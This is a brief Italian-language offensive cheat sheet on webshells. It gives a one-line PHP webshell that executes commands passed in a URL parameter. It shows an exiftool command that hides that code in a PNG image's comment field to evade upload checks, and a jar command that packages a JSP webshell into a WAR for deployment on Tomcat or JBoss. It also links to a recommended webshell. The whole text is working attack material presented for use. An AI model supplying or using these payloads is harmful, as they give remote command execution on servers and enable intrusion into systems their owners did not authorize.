Creare una webshell-image con exiftool

1) Creare un file.php con il seguente codice (ad esempio):
<?php system($_GET['c']); ?> 

2) Iniettarlo in un'immagine usando exiftool:
# exiftool "-comment<=file.php" malicious.png

Creare un WAR a partire da un JSP

Utile per creare una webshell di cui fare il deploy su Server Apache Tomcat o JBoss:

# jar -cf webshell.war webshell.jsp

Ottima webshell:
http://i8jesus.com/?p=191